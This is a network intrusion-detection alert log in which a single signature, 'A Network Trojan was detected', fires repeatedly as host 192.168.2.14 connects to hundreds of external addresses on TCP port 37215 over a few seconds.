2024-09-25T14:14:38.985313+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49578	41.96.40.29	37215	TCP
2024-09-25T14:14:38.987628+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34016	41.162.5.27	37215	TCP
2024-09-25T14:14:38.989252+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37344	41.168.18.102	37215	TCP
2024-09-25T14:14:39.017227+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50906	41.237.121.233	37215	TCP
2024-09-25T14:14:39.036421+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53774	197.209.241.221	37215	TCP
2024-09-25T14:14:39.438736+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48698	156.5.24.206	37215	TCP
2024-09-25T14:14:39.439319+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42374	41.104.29.87	37215	TCP
2024-09-25T14:14:39.442979+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35428	41.163.10.152	37215	TCP
2024-09-25T14:14:39.459833+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38982	156.175.50.147	37215	TCP
2024-09-25T14:14:39.469901+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41946	197.29.42.45	37215	TCP
2024-09-25T14:14:39.471568+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48804	41.206.92.108	37215	TCP
2024-09-25T14:14:39.473504+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57886	156.77.57.155	37215	TCP
2024-09-25T14:14:39.473589+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48192	41.133.229.37	37215	TCP
2024-09-25T14:14:39.473757+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56162	41.177.243.71	37215	TCP
2024-09-25T14:14:39.473890+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39208	41.7.151.239	37215	TCP
2024-09-25T14:14:39.504914+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46944	41.228.32.202	37215	TCP
2024-09-25T14:14:39.505069+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32938	41.49.19.95	37215	TCP
2024-09-25T14:14:39.986378+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37670	197.233.237.119	37215	TCP
2024-09-25T14:14:39.986429+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44440	197.172.74.68	37215	TCP
2024-09-25T14:14:39.986453+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41248	41.213.67.82	37215	TCP
2024-09-25T14:14:39.986874+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56934	197.173.203.0	37215	TCP
2024-09-25T14:14:39.986974+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49754	41.204.244.44	37215	TCP
2024-09-25T14:14:39.989105+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38436	41.153.113.211	37215	TCP
2024-09-25T14:14:40.001896+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42992	156.158.134.204	37215	TCP
2024-09-25T14:14:40.004982+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35986	156.51.177.129	37215	TCP
2024-09-25T14:14:40.032503+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60260	156.41.207.215	37215	TCP
2024-09-25T14:14:40.048069+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51808	197.60.204.26	37215	TCP
2024-09-25T14:14:40.051857+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52560	197.15.12.0	37215	TCP
2024-09-25T14:14:41.001099+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55116	41.116.201.16	37215	TCP
2024-09-25T14:14:41.001983+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46112	197.137.61.66	37215	TCP
2024-09-25T14:14:41.001983+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43716	156.58.216.35	37215	TCP
2024-09-25T14:14:41.002007+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58732	197.39.150.174	37215	TCP
2024-09-25T14:14:41.003098+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54828	41.71.47.143	37215	TCP
2024-09-25T14:14:41.004823+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48890	197.13.34.105	37215	TCP
2024-09-25T14:14:41.018887+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32846	156.197.220.184	37215	TCP
2024-09-25T14:14:41.032571+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57532	156.79.121.29	37215	TCP
2024-09-25T14:14:41.032744+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39394	197.165.164.248	37215	TCP
2024-09-25T14:14:41.034446+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60344	41.12.75.142	37215	TCP
2024-09-25T14:14:41.034594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40030	197.213.197.91	37215	TCP
2024-09-25T14:14:41.036698+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36690	156.150.52.76	37215	TCP
2024-09-25T14:14:41.037795+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57672	41.189.63.143	37215	TCP
2024-09-25T14:14:41.047823+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43314	197.239.142.210	37215	TCP
2024-09-25T14:14:41.083293+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58694	156.13.62.231	37215	TCP
2024-09-25T14:14:42.032437+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35202	156.109.98.95	37215	TCP
2024-09-25T14:14:42.032598+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39080	41.64.17.0	37215	TCP
2024-09-25T14:14:42.032685+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50922	41.155.154.161	37215	TCP
2024-09-25T14:14:42.032872+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52562	156.67.122.86	37215	TCP
2024-09-25T14:14:42.033252+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38500	156.15.122.126	37215	TCP
2024-09-25T14:14:42.033319+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54688	197.190.148.163	37215	TCP
2024-09-25T14:14:42.034293+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53486	41.6.71.108	37215	TCP
2024-09-25T14:14:42.034472+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38504	156.241.212.158	37215	TCP
2024-09-25T14:14:42.034536+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45652	197.11.206.26	37215	TCP
2024-09-25T14:14:42.034645+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43224	197.225.126.86	37215	TCP
2024-09-25T14:14:42.036391+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49308	156.95.71.36	37215	TCP
2024-09-25T14:14:42.051976+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37812	41.33.96.88	37215	TCP
2024-09-25T14:14:42.052074+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45068	156.127.3.148	37215	TCP
2024-09-25T14:14:42.053657+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39126	197.92.172.196	37215	TCP
2024-09-25T14:14:42.063630+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58874	41.97.75.125	37215	TCP
2024-09-25T14:14:42.097165+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38062	197.154.112.146	37215	TCP
2024-09-25T14:14:42.266913+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45070	197.45.37.80	37215	TCP
2024-09-25T14:14:42.268439+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47612	197.88.23.116	37215	TCP
2024-09-25T14:14:42.282191+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35278	197.78.221.181	37215	TCP
2024-09-25T14:14:42.282226+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39854	156.231.117.91	37215	TCP
2024-09-25T14:14:42.283005+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43152	156.210.180.184	37215	TCP
2024-09-25T14:14:42.297921+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33718	197.32.39.39	37215	TCP
2024-09-25T14:14:42.298743+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37152	41.64.174.42	37215	TCP
2024-09-25T14:14:42.301740+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58054	156.62.172.152	37215	TCP
2024-09-25T14:14:42.304105+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44494	156.59.247.173	37215	TCP
2024-09-25T14:14:42.313547+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50252	156.15.188.124	37215	TCP
2024-09-25T14:14:42.331147+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54706	197.101.92.66	37215	TCP
2024-09-25T14:14:42.454474+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52244	156.42.254.84	37215	TCP
2024-09-25T14:14:42.470022+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51900	197.250.101.246	37215	TCP
2024-09-25T14:14:42.470881+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38660	156.80.89.118	37215	TCP
2024-09-25T14:14:42.471004+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55290	156.58.104.192	37215	TCP
2024-09-25T14:14:42.472194+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54964	41.82.189.161	37215	TCP
2024-09-25T14:14:42.489754+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44376	197.242.74.227	37215	TCP
2024-09-25T14:14:42.501296+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35962	156.100.115.49	37215	TCP
2024-09-25T14:14:42.516386+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47648	41.36.156.215	37215	TCP
2024-09-25T14:14:42.516568+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46770	197.61.41.74	37215	TCP
2024-09-25T14:14:42.522396+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39488	156.21.52.238	37215	TCP
2024-09-25T14:14:42.689262+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41386	197.106.92.244	37215	TCP
2024-09-25T14:14:42.689262+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51420	156.65.31.199	37215	TCP
2024-09-25T14:14:42.690936+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37210	197.189.33.238	37215	TCP
2024-09-25T14:14:42.704196+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40988	41.198.29.203	37215	TCP
2024-09-25T14:14:42.708019+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40472	156.179.154.203	37215	TCP
2024-09-25T14:14:42.709677+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36634	41.234.65.145	37215	TCP
2024-09-25T14:14:42.721647+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52196	197.150.186.156	37215	TCP
2024-09-25T14:14:42.725690+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40346	41.106.32.54	37215	TCP
2024-09-25T14:14:42.751084+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51544	197.157.8.210	37215	TCP
2024-09-25T14:14:42.783990+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50690	41.10.145.181	37215	TCP
2024-09-25T14:14:42.784742+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50550	197.23.115.188	37215	TCP
2024-09-25T14:14:42.798778+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40368	41.240.129.181	37215	TCP
2024-09-25T14:14:42.813218+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36550	197.61.96.1	37215	TCP
2024-09-25T14:14:43.047997+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57958	41.147.82.72	37215	TCP
2024-09-25T14:14:43.063626+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54980	197.3.194.22	37215	TCP
2024-09-25T14:14:43.063739+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46056	41.81.241.220	37215	TCP
2024-09-25T14:14:43.064318+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59912	156.61.33.98	37215	TCP
2024-09-25T14:14:43.065162+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60642	156.12.16.163	37215	TCP
2024-09-25T14:14:43.065225+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46694	156.5.45.241	37215	TCP
2024-09-25T14:14:43.079287+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39810	41.4.228.194	37215	TCP
2024-09-25T14:14:43.079444+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36584	156.8.54.61	37215	TCP
2024-09-25T14:14:43.079591+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43490	156.87.134.32	37215	TCP
2024-09-25T14:14:43.083016+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35916	41.247.164.161	37215	TCP
2024-09-25T14:14:43.083305+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56366	197.159.244.122	37215	TCP
2024-09-25T14:14:43.084787+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38028	41.221.187.251	37215	TCP
2024-09-25T14:14:43.084943+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58074	197.125.230.96	37215	TCP
2024-09-25T14:14:43.100543+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34956	156.63.204.122	37215	TCP
2024-09-25T14:14:43.784214+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41644	197.176.242.81	37215	TCP
2024-09-25T14:14:43.789634+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60900	41.253.179.82	37215	TCP
2024-09-25T14:14:43.799616+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52326	156.138.102.107	37215	TCP
2024-09-25T14:14:43.814517+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58598	197.198.163.194	37215	TCP
2024-09-25T14:14:43.815743+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49938	156.60.202.13	37215	TCP
2024-09-25T14:14:43.817980+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58762	197.42.126.28	37215	TCP
2024-09-25T14:14:43.819359+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35554	41.176.71.4	37215	TCP
2024-09-25T14:14:43.846535+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48238	156.92.22.129	37215	TCP
2024-09-25T14:14:43.862155+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54014	41.133.211.22	37215	TCP
2024-09-25T14:14:43.862419+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35666	156.221.3.47	37215	TCP
2024-09-25T14:14:44.063258+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33568	41.91.77.103	37215	TCP
2024-09-25T14:14:44.079513+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51890	156.129.236.212	37215	TCP
2024-09-25T14:14:44.079515+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36810	197.11.43.164	37215	TCP
2024-09-25T14:14:44.081192+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53272	41.166.234.180	37215	TCP
2024-09-25T14:14:44.081375+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42234	41.248.146.253	37215	TCP
2024-09-25T14:14:44.082930+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53592	197.139.168.250	37215	TCP
2024-09-25T14:14:44.083278+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47136	197.200.44.43	37215	TCP
2024-09-25T14:14:44.095409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38214	197.76.158.67	37215	TCP
2024-09-25T14:14:44.095705+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50010	41.85.21.208	37215	TCP
2024-09-25T14:14:44.095765+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48752	197.179.163.209	37215	TCP
2024-09-25T14:14:44.095771+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45362	156.16.30.136	37215	TCP
2024-09-25T14:14:44.095954+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42280	156.54.30.158	37215	TCP
2024-09-25T14:14:44.096238+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36276	41.30.124.221	37215	TCP
2024-09-25T14:14:44.096533+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53846	197.13.5.180	37215	TCP
2024-09-25T14:14:44.098755+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56570	41.164.189.192	37215	TCP
2024-09-25T14:14:44.098887+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55680	197.31.136.188	37215	TCP
2024-09-25T14:14:44.098896+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53012	41.241.4.209	37215	TCP
2024-09-25T14:14:44.100983+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50414	41.37.99.107	37215	TCP
2024-09-25T14:14:44.116348+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49154	156.120.144.233	37215	TCP
2024-09-25T14:14:44.116447+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48180	156.223.233.239	37215	TCP
2024-09-25T14:14:44.798014+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51684	156.197.93.125	37215	TCP
2024-09-25T14:14:44.798511+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54234	156.9.49.199	37215	TCP
2024-09-25T14:14:44.813004+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33842	41.205.222.194	37215	TCP
2024-09-25T14:14:44.813545+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39380	156.10.201.221	37215	TCP
2024-09-25T14:14:44.813682+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52732	41.197.196.94	37215	TCP
2024-09-25T14:14:44.813796+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43676	41.183.69.4	37215	TCP
2024-09-25T14:14:44.813868+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56692	41.108.113.130	37215	TCP
2024-09-25T14:14:44.814253+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45144	197.127.121.218	37215	TCP
2024-09-25T14:14:44.814520+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35666	156.247.181.3	37215	TCP
2024-09-25T14:14:44.815309+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52264	197.42.40.6	37215	TCP
2024-09-25T14:14:44.815396+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50626	156.133.190.48	37215	TCP
2024-09-25T14:14:44.816056+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51130	156.187.27.147	37215	TCP
2024-09-25T14:14:44.818069+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41032	197.41.219.139	37215	TCP
2024-09-25T14:14:44.829978+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49574	41.230.144.206	37215	TCP
2024-09-25T14:14:44.830470+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60604	197.146.211.230	37215	TCP
2024-09-25T14:14:44.830822+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34458	41.66.249.255	37215	TCP
2024-09-25T14:14:44.833029+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34160	156.54.131.208	37215	TCP
2024-09-25T14:14:44.833357+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34922	156.217.168.64	37215	TCP
2024-09-25T14:14:44.849242+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58326	41.164.93.141	37215	TCP
2024-09-25T14:14:44.850740+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37242	156.207.227.232	37215	TCP
2024-09-25T14:14:44.864641+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58800	156.184.32.219	37215	TCP
2024-09-25T14:14:45.095212+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35946	41.236.13.158	37215	TCP
2024-09-25T14:14:45.112439+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39714	156.144.65.65	37215	TCP
2024-09-25T14:14:45.112524+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49410	197.23.19.49	37215	TCP
2024-09-25T14:14:45.126202+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32818	156.176.40.23	37215	TCP
2024-09-25T14:14:45.129947+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45976	41.80.213.82	37215	TCP
2024-09-25T14:14:45.130012+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37096	156.11.173.165	37215	TCP
2024-09-25T14:14:45.130312+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50460	156.84.236.81	37215	TCP
2024-09-25T14:14:45.143539+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44522	197.117.76.193	37215	TCP
2024-09-25T14:14:45.145795+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43292	41.114.111.77	37215	TCP
2024-09-25T14:14:45.147469+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38192	156.60.17.130	37215	TCP
2024-09-25T14:14:45.157390+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38926	41.65.43.211	37215	TCP
2024-09-25T14:14:45.173040+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52032	197.71.196.14	37215	TCP
2024-09-25T14:14:45.192537+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58234	41.118.254.51	37215	TCP
2024-09-25T14:14:45.282578+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59374	197.189.126.49	37215	TCP
2024-09-25T14:14:45.286185+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54876	197.186.2.97	37215	TCP
2024-09-25T14:14:45.313487+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58636	156.189.199.179	37215	TCP
2024-09-25T14:14:45.314165+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34868	41.7.135.121	37215	TCP
2024-09-25T14:14:45.330201+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45800	197.219.43.34	37215	TCP
2024-09-25T14:14:45.829592+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39572	41.201.186.158	37215	TCP
2024-09-25T14:14:45.829594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44158	156.238.211.38	37215	TCP
2024-09-25T14:14:45.844352+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33476	41.164.43.67	37215	TCP
2024-09-25T14:14:45.844867+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52912	197.219.131.173	37215	TCP
2024-09-25T14:14:45.844931+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46548	41.16.107.48	37215	TCP
2024-09-25T14:14:45.844991+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34250	41.185.217.106	37215	TCP
2024-09-25T14:14:45.845111+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33702	41.8.124.140	37215	TCP
2024-09-25T14:14:45.846618+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38284	41.251.54.51	37215	TCP
2024-09-25T14:14:45.850810+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50064	156.17.146.209	37215	TCP
2024-09-25T14:14:45.860056+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52412	156.51.4.31	37215	TCP
2024-09-25T14:14:45.860560+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53422	197.244.192.231	37215	TCP
2024-09-25T14:14:45.861888+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35530	156.158.99.136	37215	TCP
2024-09-25T14:14:45.862806+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54112	156.63.146.130	37215	TCP
2024-09-25T14:14:45.862806+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41088	41.205.212.169	37215	TCP
2024-09-25T14:14:45.862831+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53134	156.140.88.204	37215	TCP
2024-09-25T14:14:45.864398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46250	156.107.216.86	37215	TCP
2024-09-25T14:14:45.864629+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50236	156.1.92.175	37215	TCP
2024-09-25T14:14:45.866210+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44664	41.113.152.50	37215	TCP
2024-09-25T14:14:45.882287+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52972	197.27.230.23	37215	TCP
2024-09-25T14:14:46.126720+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41166	41.66.16.76	37215	TCP
2024-09-25T14:14:46.172957+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58010	156.188.5.100	37215	TCP
2024-09-25T14:14:46.174743+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34208	197.18.20.241	37215	TCP
2024-09-25T14:14:46.190415+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42246	156.12.35.216	37215	TCP
2024-09-25T14:14:46.313845+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41360	197.145.224.15	37215	TCP
2024-09-25T14:14:46.313908+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48762	197.10.195.1	37215	TCP
2024-09-25T14:14:46.331557+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50834	197.231.214.166	37215	TCP
2024-09-25T14:14:46.377540+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53498	41.4.56.229	37215	TCP
2024-09-25T14:14:46.860398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57882	156.188.255.235	37215	TCP
2024-09-25T14:14:46.860558+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45922	156.22.33.252	37215	TCP
2024-09-25T14:14:46.860559+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55558	197.232.30.114	37215	TCP
2024-09-25T14:14:46.861220+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56418	156.74.183.182	37215	TCP
2024-09-25T14:14:46.862072+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38288	156.31.128.84	37215	TCP
2024-09-25T14:14:46.875523+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58736	41.218.193.174	37215	TCP
2024-09-25T14:14:46.876151+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42306	156.180.118.136	37215	TCP
2024-09-25T14:14:46.876230+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55862	197.138.209.232	37215	TCP
2024-09-25T14:14:46.876324+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58782	156.103.4.128	37215	TCP
2024-09-25T14:14:46.879445+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34046	197.138.129.194	37215	TCP
2024-09-25T14:14:46.879629+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43854	41.117.24.187	37215	TCP
2024-09-25T14:14:46.880073+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58526	197.247.35.202	37215	TCP
2024-09-25T14:14:46.880241+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44766	197.30.224.191	37215	TCP
2024-09-25T14:14:46.880372+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55028	156.152.3.117	37215	TCP
2024-09-25T14:14:46.880922+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56090	197.103.80.54	37215	TCP
2024-09-25T14:14:46.881950+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45368	156.41.234.84	37215	TCP
2024-09-25T14:14:46.882116+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59670	41.87.151.254	37215	TCP
2024-09-25T14:14:46.882208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34316	197.190.69.137	37215	TCP
2024-09-25T14:14:46.882376+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55088	156.63.107.70	37215	TCP
2024-09-25T14:14:46.922591+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49942	156.181.180.92	37215	TCP
2024-09-25T14:14:46.924608+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45678	156.160.112.195	37215	TCP
2024-09-25T14:14:46.928532+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38452	156.174.86.165	37215	TCP
2024-09-25T14:14:46.928617+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49436	41.32.71.209	37215	TCP
2024-09-25T14:14:47.877435+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56766	197.56.33.39	37215	TCP
2024-09-25T14:14:47.892801+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44276	156.250.43.76	37215	TCP
2024-09-25T14:14:47.892807+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54742	156.189.114.235	37215	TCP
2024-09-25T14:14:47.892993+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49716	41.72.103.157	37215	TCP
2024-09-25T14:14:47.893041+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50618	156.127.70.28	37215	TCP
2024-09-25T14:14:47.893052+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53178	197.12.87.129	37215	TCP
2024-09-25T14:14:47.893748+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45398	41.255.242.176	37215	TCP
2024-09-25T14:14:47.894110+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52736	156.212.161.32	37215	TCP
2024-09-25T14:14:47.894563+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36302	197.94.200.193	37215	TCP
2024-09-25T14:14:47.894584+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39388	197.60.166.192	37215	TCP
2024-09-25T14:14:47.894700+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35916	41.239.114.94	37215	TCP
2024-09-25T14:14:47.896235+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41560	156.204.119.239	37215	TCP
2024-09-25T14:14:47.896242+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48558	197.141.72.222	37215	TCP
2024-09-25T14:14:47.897857+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58298	156.67.103.139	37215	TCP
2024-09-25T14:14:47.907519+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55208	41.235.119.134	37215	TCP
